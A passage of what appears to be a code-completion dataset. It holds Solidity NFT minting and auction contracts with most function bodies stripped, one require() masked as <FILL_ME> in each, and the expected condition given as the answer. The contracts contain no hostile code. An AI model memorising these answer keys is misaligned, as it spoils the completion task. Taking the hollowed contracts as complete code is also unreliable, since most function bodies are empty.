* @param quantity amount of tokens to be minted
*
* Requirements:
* - `quantity` can't be higher than {publicMintLimitPerWallet}
*/
function mint(uint256 quantity) public payable {
}
/**
* @dev internal mintQuantityToWallet function used to mint tokens
* to a wallet (cpt. obivous out). We start with tokenId 1.
*
* @param quantity amount of tokens to be minted
* @param minterAddress address that receives the tokens
*
* Requirements:
* - `TOKEN_LIMIT` should not be reahed
*/
function mintQuantityToWallet(uint256 quantity, address minterAddress)
internal
virtual
{
}
/**
* @dev Function to change the ACE_WALLET by contract owner.
* Learn more about the ACE_WALLET on our Roadmap.
* This wallet is used to verify mintpass signatures and is allowed to
* change tokenURIs for specific tokens.
*
* @param _ace_wallet The new ACE_WALLET address
*/
function setAceWallet(address _ace_wallet) public virtual onlyOwner {
}
/**
*/
function setMintingLimits(
uint256 _whitelistMintLimitPerWallet,
uint256 _publicMintLimitPerWallet
) public virtual onlyOwner {
}
/**
* @dev Function to be called by contract owner to enable / disable
* different mint stages
*
* @param _whitelistMintEnabled true/false
* @param _publicMintEnabled true/false
*/
function setMintingEnabled(
bool _whitelistMintEnabled,
bool _publicMintEnabled
) public virtual onlyOwner {
}
/**
* @dev Helper to replace _baseURI
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev Can be called by owner to change base URI. This is recommend to be used
* after tokens are revealed to freeze metadata on IPFS or similar.
*
* @param permanentBaseURI URI to be prefixed before tokenId
*/
function setBaseURI(string memory permanentBaseURI)
public
virtual
onlyOwner
{
}
/**
* @dev _tokenURIs setter for a tokenId. This can only be done by owner or our
* ACE_WALLET. Learn more about this on our Roadmap.
*
* Emits TokenUriChanged Event
*
* @param tokenId tokenId that should be updated
* @param permanentTokenURI URI to OVERWRITE the entire tokenURI
*
* Requirements:
* - `msg.sender` needs to be owner or {ACE_WALLET}
*/
function setTokenURI(uint256 tokenId, string memory permanentTokenURI)
public
virtual
{
}
function mintedTokenCount() public view returns (uint256) {
}
/**
* @dev _tokenURIs getter for a tokenId. If tokenURIs has an entry for
* this tokenId we return this URL. Otherwise we fallback to baseURI with
* tokenID.
*
* @param tokenId URI requested for this tokenId
*
* Requirements:
* - `tokenID` needs to exist
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
* @dev Extends default burn behaviour with deletion of overwritten tokenURI
* if it exists. Calls super._burn before deletion of tokenURI; Reset Token Royality if set
*
* @param tokenId tokenID that should be burned
*
* Requirements:
* - `tokenID` needs to exist
* - `msg.sender` needs to be current token Owner
*/
function _burn(uint256 tokenId) internal virtual override {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setDefaultRoyalty(address receiver, uint96 feeNumerator)
public
virtual
onlyOwner
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC2981)
returns (bool)
{
}
}
| boughtWhitelistAmounts[mintpass.minterAddress]+quantity<=whitelistMintLimitPerWallet,"TheWhitelist: Maximum Whitelist per Wallet reached" | 325,363 | boughtWhitelistAmounts[mintpass.minterAddress]+quantity<=whitelistMintLimitPerWallet |
"TheWhitelist: Maximum per Wallet reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
/**
Learn more about our project on thewhitelist.io
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXxclxddOxcdxllxKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk':O:.:' ';.'lKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXdkXkd0xcdxloxXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMXKKKXWMMMNKKKXWMMMWKKKKNXKKKXWMMWXKKKXWWXKKKNNKKKKKKKKKKKKXNNKKKKKKKKKKXWNKKKKNMMMMMMWKkdkKWMMWNKOOOO0XWNXKKKKKKKKKKKNM
MWx...'xWMNo....dWMWd...:Ol...:KMMK:...cX0;...ld'...........,dd..........lXk'..'kMMMMMWx. .xN0c'. ..ld,...........xM
MMK, ,KWk. '0MO' .dXc '0MMK, ;KO. cx:,,. .',;cxl .,,,,;dNd. .xWMMMMNl cx' .::;''xOc,,. .',;OM
MMWx. o0; l0c :XNc .;cl;. ;KO. cXWWNd. oNWWWNo .;llllxXWd. .xWMMMMMK; ;0x. .codxONWWNNk. lXWWWM
MMMNc .,. .. .,. .kWXc ;XO. cNMMMx. oWMMMWo ;KWd. .xWMMMMMNl cNNx,. .c0WMMO. oWMMMM
MMMMO' 'ko lNMNc .cddl. ;XO. cNMMMx. oWMMMWo .:ddddkXWd. .oXNNNNWK; ;KMXkxxdl;. cXMMO. oWMMMM
MMMMWd. .oNK, ,KMMNc '0MMK, ;XO. cNMMMx. oWMMMWo .'''''lKd. .'''',xO' .OK:..';;' .dWMMO. oWMMMM
MMMMMXc....cXMWk,...,kWMMNo...:KMMXc...lX0:...oNMMMO,..'xWMMMWx'.........:Kk,........'dk,...,k0c'......':kNMMM0;..'xWMMMM
MMMMMMXK000XWMMWK000KWMMMWX000XWMMWX000XWWK00KXMMMMNK00KNMMMMMNK000000000XWNK00000000KNNK000KNMWXKOOOO0XWMMMMMWK00KNMMMMM
*/
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ERC2981.sol";
import "./MintpassValidator.sol";
import "./LibMintpass.sol";
/**
* @dev Learn more about this project on thewhitelist.io.
*
* TheWhitelist is a ERC721 Contract that supports Burnable.
* The minting process is processed in a public and a whitelist
* sale.
*/
contract TheWhitelist is MintpassValidator, ERC721Burnable, ERC2981, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;
// Token Limit and Mint Limits
uint256 public TOKEN_LIMIT = 10000;
uint256 public whitelistMintLimitPerWallet = 2;
uint256 public publicMintLimitPerWallet = 5;
// Price per Token depending on Category
uint256 public whitelistMintPrice = 0.17 ether;
uint256 public publicMintPrice = 0.19 ether;
// Sale Stages Enabled / Disabled
bool public whitelistMintEnabled = false;
bool public publicMintEnabled = false;
// Mapping from minter to minted amounts
mapping(address => uint256) public boughtAmounts;
mapping(address => uint256) public boughtWhitelistAmounts;
// Mapping from mintpass signature to minted amounts (Free Mints)
mapping(bytes => uint256) public mintpassRedemptions;
// Optional mapping to overwrite specific token URIs
mapping(uint256 => string) private _tokenURIs;
// counter for tracking current token id
Counters.Counter private _tokenIdTracker;
// _abseTokenURI serving nft metadata per token
string private _baseTokenURI = "https://api.thewhitelist.io/tokens/";
event TokenUriChanged(
address indexed _address,
uint256 indexed _tokenId,
string _tokenURI
);
/**
* @dev ERC721 Constructor
*/
constructor(string memory name, string memory symbol) ERC721(name, symbol) {
}
/**
* @dev Withrawal all Funds sent to the contract to Owner
*
* Requirements:
* - `msg.sender` needs to be Owner and payable
*/
function withdrawalAll() external onlyOwner {
}
/**
* @dev Function to mint Tokens for only Gas. This function is used
* for Community Wallet Mints, Raffle Winners and Cooperation Partners.
* Redemptions are tracked and can be done in chunks.
*
* @param quantity amount of tokens to be minted
* @param mintpass issued by thewhitelist.io
* @param mintpassSignature issued by thewhitelist.io and signed by ACE_WALLET
*
* Requirements:
* - `quantity` can't be higher than mintpass.amount
* - `mintpass` needs to match the signature contents
* - `mintpassSignature` needs to be obtained from thewhitelist.io and
* signed by ACE_WALLET
*/
function freeMint(
uint256 quantity,
LibMintpass.Mintpass memory mintpass,
bytes memory mintpassSignature
) public {
}
/**
* @dev Function to mint Tokens during Whitelist Sale. This function is
* should only be called on thewhitelist.io minting page to ensure
* signature validity.
*
* @param quantity amount of tokens to be minted
* @param mintpass issued by thewhitelist.io
* @param mintpassSignature issued by thewhitelist.io and signed by ACE_WALLET
*
* Requirements:
* - `quantity` can't be higher than {whitelistMintLimitPerWallet}
* - `mintpass` needs to match the signature contents
* - `mintpassSignature` needs to be obtained from thewhitelist.io and
* signed by ACE_WALLET
*/
function mintWhitelist(
uint256 quantity,
LibMintpass.Mintpass memory mintpass,
bytes memory mintpassSignature
) public payable {
}
/**
* @dev Public Mint Function.
*
* @param quantity amount of tokens to be minted
*
* Requirements:
* - `quantity` can't be higher than {publicMintLimitPerWallet}
*/
function mint(uint256 quantity) public payable {
require(
publicMintEnabled == true,
"TheWhitelist: Public Minting is not Enabled"
);
require(
msg.value >= publicMintPrice * quantity,
"TheWhitelist: Insufficient Amount"
);
require(<FILL_ME>)
mintQuantityToWallet(quantity, msg.sender);
boughtAmounts[msg.sender] = boughtAmounts[msg.sender] + quantity;
}
/**
* @dev internal mintQuantityToWallet function used to mint tokens
* to a wallet (cpt. obivous out). We start with tokenId 1.
*
* @param quantity amount of tokens to be minted
* @param minterAddress address that receives the tokens
*
* Requirements:
* - `TOKEN_LIMIT` should not be reahed
*/
function mintQuantityToWallet(uint256 quantity, address minterAddress)
internal
virtual
{
}
/**
* @dev Function to change the ACE_WALLET by contract owner.
* Learn more about the ACE_WALLET on our Roadmap.
* This wallet is used to verify mintpass signatures and is allowed to
* change tokenURIs for specific tokens.
*
* @param _ace_wallet The new ACE_WALLET address
*/
function setAceWallet(address _ace_wallet) public virtual onlyOwner {
}
/**
*/
function setMintingLimits(
uint256 _whitelistMintLimitPerWallet,
uint256 _publicMintLimitPerWallet
) public virtual onlyOwner {
}
/**
* @dev Function to be called by contract owner to enable / disable
* different mint stages
*
* @param _whitelistMintEnabled true/false
* @param _publicMintEnabled true/false
*/
function setMintingEnabled(
bool _whitelistMintEnabled,
bool _publicMintEnabled
) public virtual onlyOwner {
}
/**
* @dev Helper to replace _baseURI
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev Can be called by owner to change base URI. This is recommend to be used
* after tokens are revealed to freeze metadata on IPFS or similar.
*
* @param permanentBaseURI URI to be prefixed before tokenId
*/
function setBaseURI(string memory permanentBaseURI)
public
virtual
onlyOwner
{
}
/**
* @dev _tokenURIs setter for a tokenId. This can only be done by owner or our
* ACE_WALLET. Learn more about this on our Roadmap.
*
* Emits TokenUriChanged Event
*
* @param tokenId tokenId that should be updated
* @param permanentTokenURI URI to OVERWRITE the entire tokenURI
*
* Requirements:
* - `msg.sender` needs to be owner or {ACE_WALLET}
*/
function setTokenURI(uint256 tokenId, string memory permanentTokenURI)
public
virtual
{
}
function mintedTokenCount() public view returns (uint256) {
}
/**
* @dev _tokenURIs getter for a tokenId. If tokenURIs has an entry for
* this tokenId we return this URL. Otherwise we fallback to baseURI with
* tokenID.
*
* @param tokenId URI requested for this tokenId
*
* Requirements:
* - `tokenID` needs to exist
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
* @dev Extends default burn behaviour with deletion of overwritten tokenURI
* if it exists. Calls super._burn before deletion of tokenURI; Reset Token Royality if set
*
* @param tokenId tokenID that should be burned
*
* Requirements:
* - `tokenID` needs to exist
* - `msg.sender` needs to be current token Owner
*/
function _burn(uint256 tokenId) internal virtual override {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setDefaultRoyalty(address receiver, uint96 feeNumerator)
public
virtual
onlyOwner
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC2981)
returns (bool)
{
}
}
| boughtAmounts[msg.sender]+quantity<=publicMintLimitPerWallet,"TheWhitelist: Maximum per Wallet reached" | 325,363 | boughtAmounts[msg.sender]+quantity<=publicMintLimitPerWallet |
"TheWhitelist: Can only be modified by ACE" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
/**
Learn more about our project on thewhitelist.io
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXxclxddOxcdxllxKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk':O:.:' ';.'lKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXdkXkd0xcdxloxXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMXKKKXWMMMNKKKXWMMMWKKKKNXKKKXWMMWXKKKXWWXKKKNNKKKKKKKKKKKKXNNKKKKKKKKKKXWNKKKKNMMMMMMWKkdkKWMMWNKOOOO0XWNXKKKKKKKKKKKNM
MWx...'xWMNo....dWMWd...:Ol...:KMMK:...cX0;...ld'...........,dd..........lXk'..'kMMMMMWx. .xN0c'. ..ld,...........xM
MMK, ,KWk. '0MO' .dXc '0MMK, ;KO. cx:,,. .',;cxl .,,,,;dNd. .xWMMMMNl cx' .::;''xOc,,. .',;OM
MMWx. o0; l0c :XNc .;cl;. ;KO. cXWWNd. oNWWWNo .;llllxXWd. .xWMMMMMK; ;0x. .codxONWWNNk. lXWWWM
MMMNc .,. .. .,. .kWXc ;XO. cNMMMx. oWMMMWo ;KWd. .xWMMMMMNl cNNx,. .c0WMMO. oWMMMM
MMMMO' 'ko lNMNc .cddl. ;XO. cNMMMx. oWMMMWo .:ddddkXWd. .oXNNNNWK; ;KMXkxxdl;. cXMMO. oWMMMM
MMMMWd. .oNK, ,KMMNc '0MMK, ;XO. cNMMMx. oWMMMWo .'''''lKd. .'''',xO' .OK:..';;' .dWMMO. oWMMMM
MMMMMXc....cXMWk,...,kWMMNo...:KMMXc...lX0:...oNMMMO,..'xWMMMWx'.........:Kk,........'dk,...,k0c'......':kNMMM0;..'xWMMMM
MMMMMMXK000XWMMWK000KWMMMWX000XWMMWX000XWWK00KXMMMMNK00KNMMMMMNK000000000XWNK00000000KNNK000KNMWXKOOOO0XWMMMMMWK00KNMMMMM
*/
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ERC2981.sol";
import "./MintpassValidator.sol";
import "./LibMintpass.sol";
/**
* @dev Learn more about this project on thewhitelist.io.
*
* TheWhitelist is a ERC721 Contract that supports Burnable.
* The minting process is processed in a public and a whitelist
* sale.
*/
contract TheWhitelist is MintpassValidator, ERC721Burnable, ERC2981, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;
// Token Limit and Mint Limits
uint256 public TOKEN_LIMIT = 10000;
uint256 public whitelistMintLimitPerWallet = 2;
uint256 public publicMintLimitPerWallet = 5;
// Price per Token depending on Category
uint256 public whitelistMintPrice = 0.17 ether;
uint256 public publicMintPrice = 0.19 ether;
// Sale Stages Enabled / Disabled
bool public whitelistMintEnabled = false;
bool public publicMintEnabled = false;
// Mapping from minter to minted amounts
mapping(address => uint256) public boughtAmounts;
mapping(address => uint256) public boughtWhitelistAmounts;
// Mapping from mintpass signature to minted amounts (Free Mints)
mapping(bytes => uint256) public mintpassRedemptions;
// Optional mapping to overwrite specific token URIs
mapping(uint256 => string) private _tokenURIs;
// counter for tracking current token id
Counters.Counter private _tokenIdTracker;
// _abseTokenURI serving nft metadata per token
string private _baseTokenURI = "https://api.thewhitelist.io/tokens/";
event TokenUriChanged(
address indexed _address,
uint256 indexed _tokenId,
string _tokenURI
);
/**
* @dev ERC721 Constructor
*/
constructor(string memory name, string memory symbol) ERC721(name, symbol) {
}
/**
* @dev Withrawal all Funds sent to the contract to Owner
*
* Requirements:
* - `msg.sender` needs to be Owner and payable
*/
function withdrawalAll() external onlyOwner {
}
/**
* @dev Function to mint Tokens for only Gas. This function is used
* for Community Wallet Mints, Raffle Winners and Cooperation Partners.
* Redemptions are tracked and can be done in chunks.
*
* @param quantity amount of tokens to be minted
* @param mintpass issued by thewhitelist.io
* @param mintpassSignature issued by thewhitelist.io and signed by ACE_WALLET
*
* Requirements:
* - `quantity` can't be higher than mintpass.amount
* - `mintpass` needs to match the signature contents
* - `mintpassSignature` needs to be obtained from thewhitelist.io and
* signed by ACE_WALLET
*/
function freeMint(
uint256 quantity,
LibMintpass.Mintpass memory mintpass,
bytes memory mintpassSignature
) public {
}
/**
* @dev Function to mint Tokens during Whitelist Sale. This function is
* should only be called on thewhitelist.io minting page to ensure
* signature validity.
*
* @param quantity amount of tokens to be minted
* @param mintpass issued by thewhitelist.io
* @param mintpassSignature issued by thewhitelist.io and signed by ACE_WALLET
*
* Requirements:
* - `quantity` can't be higher than {whitelistMintLimitPerWallet}
* - `mintpass` needs to match the signature contents
* - `mintpassSignature` needs to be obtained from thewhitelist.io and
* signed by ACE_WALLET
*/
function mintWhitelist(
uint256 quantity,
LibMintpass.Mintpass memory mintpass,
bytes memory mintpassSignature
) public payable {
}
/**
* @dev Public Mint Function.
*
* @param quantity amount of tokens to be minted
*
* Requirements:
* - `quantity` can't be higher than {publicMintLimitPerWallet}
*/
function mint(uint256 quantity) public payable {
}
/**
* @dev internal mintQuantityToWallet function used to mint tokens
* to a wallet (cpt. obivous out). We start with tokenId 1.
*
* @param quantity amount of tokens to be minted
* @param minterAddress address that receives the tokens
*
* Requirements:
* - `TOKEN_LIMIT` should not be reahed
*/
function mintQuantityToWallet(uint256 quantity, address minterAddress)
internal
virtual
{
}
/**
* @dev Function to change the ACE_WALLET by contract owner.
* Learn more about the ACE_WALLET on our Roadmap.
* This wallet is used to verify mintpass signatures and is allowed to
* change tokenURIs for specific tokens.
*
* @param _ace_wallet The new ACE_WALLET address
*/
function setAceWallet(address _ace_wallet) public virtual onlyOwner {
}
/**
*/
function setMintingLimits(
uint256 _whitelistMintLimitPerWallet,
uint256 _publicMintLimitPerWallet
) public virtual onlyOwner {
}
/**
* @dev Function to be called by contract owner to enable / disable
* different mint stages
*
* @param _whitelistMintEnabled true/false
* @param _publicMintEnabled true/false
*/
function setMintingEnabled(
bool _whitelistMintEnabled,
bool _publicMintEnabled
) public virtual onlyOwner {
}
/**
* @dev Helper to replace _baseURI
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev Can be called by owner to change base URI. This is recommend to be used
* after tokens are revealed to freeze metadata on IPFS or similar.
*
* @param permanentBaseURI URI to be prefixed before tokenId
*/
function setBaseURI(string memory permanentBaseURI)
public
virtual
onlyOwner
{
}
/**
* @dev _tokenURIs setter for a tokenId. This can only be done by owner or our
* ACE_WALLET. Learn more about this on our Roadmap.
*
* Emits TokenUriChanged Event
*
* @param tokenId tokenId that should be updated
* @param permanentTokenURI URI to OVERWRITE the entire tokenURI
*
* Requirements:
* - `msg.sender` needs to be owner or {ACE_WALLET}
*/
function setTokenURI(uint256 tokenId, string memory permanentTokenURI)
public
virtual
{
require(<FILL_ME>)
require(_exists(tokenId), "TheWhitelist: URI set of nonexistent token");
_tokenURIs[tokenId] = permanentTokenURI;
emit TokenUriChanged(msg.sender, tokenId, permanentTokenURI);
}
function mintedTokenCount() public view returns (uint256) {
}
/**
* @dev _tokenURIs getter for a tokenId. If tokenURIs has an entry for
* this tokenId we return this URL. Otherwise we fallback to baseURI with
* tokenID.
*
* @param tokenId URI requested for this tokenId
*
* Requirements:
* - `tokenID` needs to exist
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
* @dev Extends default burn behaviour with deletion of overwritten tokenURI
* if it exists. Calls super._burn before deletion of tokenURI; Reset Token Royality if set
*
* @param tokenId tokenID that should be burned
*
* Requirements:
* - `tokenID` needs to exist
* - `msg.sender` needs to be current token Owner
*/
function _burn(uint256 tokenId) internal virtual override {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setDefaultRoyalty(address receiver, uint96 feeNumerator)
public
virtual
onlyOwner
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC2981)
returns (bool)
{
}
}
| (msg.sender==ACE_WALLET||msg.sender==owner()),"TheWhitelist: Can only be modified by ACE" | 325,363 | (msg.sender==ACE_WALLET||msg.sender==owner()) |
"Transaction only open Auctions" | // SPDX-License-Identifier: MIT
pragma solidity >=0.7.5 <0.9.0;
pragma abicoder v2;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "./ERC1155Receiver.sol";
/**
* @title NFT Auction Market
* Sellers can choose a minimum, starting bid, an expiry time when the auction ends
* Before creating an auction the seller has to approve this contract for the respective token,
* which will be held in contract until the auction ends.
* bid price = price + fee
* which he will be refunded in case he gets outbid.
* After the specified expiry date of an auction anyone can trigger the settlement
* Not only will we transfer tokens to new owners, but we will also transfer sales money to sellers.
* All comissions will be credited to the owner / deployer of the marketplace contract.
*/
contract NAMarket is Ownable, ReentrancyGuard, ERC1155Receiver {
// Protect against overflow
using SafeMath for uint256;
// Add math utilities missing in solidity
using Math for uint256;
/* Constructor parameters */
// minBidSize,minAuctionLiveness, feePercentage
address public adminAddress;
// Minimum amount by which a new bid has to exceed previousBid 0.0001 = 1
uint256 public minBidSize = 1;
/* Minimum duration in seconds for which the auction has to be live
* timestamp 1h = 3600s
* default mainnet 10h / testnet 10m
*/
uint256 public minAuctionLiveness = 10 * 60;
// //transfer gas
// uint256 public gasSize = 100000;
// update fee address only owner
address public feeAddress;
// default fee percentage : 2.5%
uint256 public feePercentage = 250;
//total volume
uint256 public totalMarketVolume;
//total Sales
uint256 public totalSales;
//create auction on/off default = true
bool public marketStatus = true;
// Save Users credit balances (to be used when they are outbid)
mapping(address => uint256) public userPriceList;
using Counters for Counters.Counter;
// Number of auctions ever listed
Counters.Counter public totalAuctionCount;
// Number of auctions already sold
Counters.Counter private closedAuctionCount;
enum TokenType { NONE, ERC721, ERC1155 }
enum AuctionStatus { NONE, OPEN, CLOSE, SETTLED, CANCELED }
//enum Categories { NONE, Art, Sports, Gaming, Music, Entertainment, TradingCards, Collectibles }
enum Sort { ASC, DESC, NEW, END, HOT }
struct Auction {
address contractAddress;
uint256 tokenId;
uint256 currentPrice;
uint256 buyNowPrice;
address seller;
address highestBidder;
string auctionTitle;
uint256 expiryDate;
uint256 auctionId;
AuctionType auctionTypes;
}
struct AuctionType {
uint256 category;
AuctionStatus status;
TokenType tokenType;
uint256 quantity;
}
//fee+price
struct previousInfo {
uint256 previousPrice;
}
mapping(uint256 => previousInfo) private previousPriceList;
mapping(uint256 => Auction) public auctions;
//bid
struct Bid {
uint256 bidId;
address bidder;
uint256 price;
uint256 timestamp;
}
mapping (uint256 => Bid[]) private bidList;
// Unique seller address
address[] private uniqSellerList;
struct SellerSale {
address seller;
uint256 price;
uint256 timestamp;
}
mapping (address => SellerSale[]) private sellerSales;
// EVENTS
event AuctionCreated(
uint256 auctionId,
address contractAddress,
uint256 tokenId,
uint256 startingPrice,
address seller,
uint256 expiryDate
);
event NFTApproved(address nftContract);
event AuctionCanceled(uint256 auctionId);
event AuctionSettled(uint256 auctionId, bool sold);
event BidPlaced(uint256 auctionId, uint256 bidPrice);
event BidFailed(uint256 auctionId, uint256 bidPrice);
event UserCredited(address creditAddress, uint256 amount);
event priceBid(uint256 auctionId, uint256 cPrice, uint256 bidPrice);
// MODIFIERS
modifier onlyAdmin() {
}
modifier openAuction(uint256 auctionId) {
require(<FILL_ME>)
_;
}
modifier settleStatusCheck(uint256 auctionId) {
}
modifier nonExpiredAuction(uint256 auctionId) {
}
modifier onlyExpiredAuction(uint256 auctionId) {
}
modifier noBids(uint256 auctionId) {
}
modifier sellerOnly(uint256 auctionId) {
}
modifier marketStatusCheck() {
}
// Update market status
function setMarkStatus(bool _marketStatus) public onlyOwner {
}
// Update only owner
function setFeeAddress(address _feeAddress) public onlyOwner {
}
// Update admin address
function setAdmin(address _adminAddress) public onlyOwner {
}
// // gas update default min 21000
// function setGasSize(uint256 _gasSize) public onlyAdmin {
// gasSize = _gasSize;
// }
// Update minBidSize
function setMinBidSize(uint256 _minBidSize) public onlyAdmin {
}
// Update minAuctionLiveness
function setMinAuctionLiveness(uint256 _minAuctionLiveness) public onlyAdmin {
}
// Update Fee percentages
function setFeePercentage(uint256 _feePercentage) public onlyAdmin {
}
// Calculate fee due for an auction based on its feePrice
function calculateFee(uint256 _cuPrice) private view returns(uint256 fee){
}
/*
* AUCTION MANAGEMENT
* Creates a new auction and transfers the token to the contract to be held in escrow until the end of the auction.
* Requires this contract to be approved for the token to be auctioned.
*/
function createAuction(address _contractAddress, uint256 _tokenId, uint256 _startingPrice, string memory auctionTitle,
uint256 _buyNowPrice, uint256 expiryDate, uint256 _category, TokenType _tokenType,
uint256 _quantity
) public marketStatusCheck() nonReentrant
returns(uint256 auctionId){
}
/**
* Cancels an auction and returns the token to the original owner.
* Requires the caller to be the seller who created the auction, the auction to be open and no bids having been placed on it.
*/
function cancelAuction(uint256 auctionId) public openAuction(auctionId) noBids(auctionId) sellerOnly(auctionId) nonReentrant{
}
/**
* Settles an auction.
* If at least one bid has been placed the token will be transfered to its new owner, the seller will be credited the sale price
* and the contract owner will be credited the fee.
* If no bid has been placed on the token it will just be transfered back to its original owner.
*/
function settleAuction(uint256 auctionId) public settleStatusCheck(auctionId) nonReentrant{
}
//Save sales information
function saveSales(address sellerAddress, uint256 price) private {
}
/**
* Credit user with given amount in ETH
* Credits a user with a given amount that he can later withdraw from the contract.
* Used to refund outbidden buyers and credit sellers / contract owner upon sucessfull sale.
*/
function creditUser(address creditAddress, uint256 amount) private {
}
/**
* Withdraws all credit of the caller
* Transfers all of his credit to the caller and sets the balance to 0
* Fails if caller has no credit.
*/
function withdrawCredit() public nonReentrant{
}
/**
* Places a bid on the selected auction at the selected price
* Requires the provided bid price to exceed the current highest bid by at least the minBidSize.
* Also requires the caller to transfer the exact amount of the chosen bidPrice plus fee, to be held in escrow by the contract
* until the auction is settled or a higher bid is placed.
*/
function placeBid(uint256 auctionId, uint256 bidPrice) public payable openAuction(auctionId) nonExpiredAuction(auctionId) nonReentrant{
}
/**
* Transfer the token(s) belonging to a given auction.
* Supports both ERC721 and ERC1155 tokens
*/
function transferToken(uint256 auctionId, address from, address to) private {
}
//data func auction list
function getOpenAuctions(uint256 category, Sort sort, string memory keyword,
uint256 offset, uint256 limit) public view returns
(Auction[] memory, uint256, uint256) {
}
//bids
function getBids(uint256 auctionId) public view returns(Bid[] memory){
}
function getUserAuctions(address seller) public view returns(Auction[] memory) {
}
//Filter based on the timestamp.
function getSellerSalesList(uint256 timestamp) public view returns(SellerSale[] memory) {
}
/* filter */
function sfilter(Auction[] memory values, uint256 category, string memory keyword) private pure returns (Auction[] memory) {
}
function cfilter(Auction[] memory values, uint256 category) private pure returns (Auction[] memory) {
}
/* sort */
function sortMap(Auction[] memory arr, uint256 limit, Sort sort) private view returns (Auction[] memory) {
}
}
| auctions[auctionId].auctionTypes.status==AuctionStatus.OPEN,"Transaction only open Auctions" | 325,385 | auctions[auctionId].auctionTypes.status==AuctionStatus.OPEN |
"Transaction only valid for expired Auctions" | // SPDX-License-Identifier: MIT
pragma solidity >=0.7.5 <0.9.0;
pragma abicoder v2;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "./ERC1155Receiver.sol";
/**
* @title NFT Auction Market
* Sellers can choose a minimum, starting bid, an expiry time when the auction ends
* Before creating an auction the seller has to approve this contract for the respective token,
* which will be held in contract until the auction ends.
* bid price = price + fee
* which he will be refunded in case he gets outbid.
* After the specified expiry date of an auction anyone can trigger the settlement
* Not only will we transfer tokens to new owners, but we will also transfer sales money to sellers.
* All comissions will be credited to the owner / deployer of the marketplace contract.
*/
contract NAMarket is Ownable, ReentrancyGuard, ERC1155Receiver {
// Protect against overflow
using SafeMath for uint256;
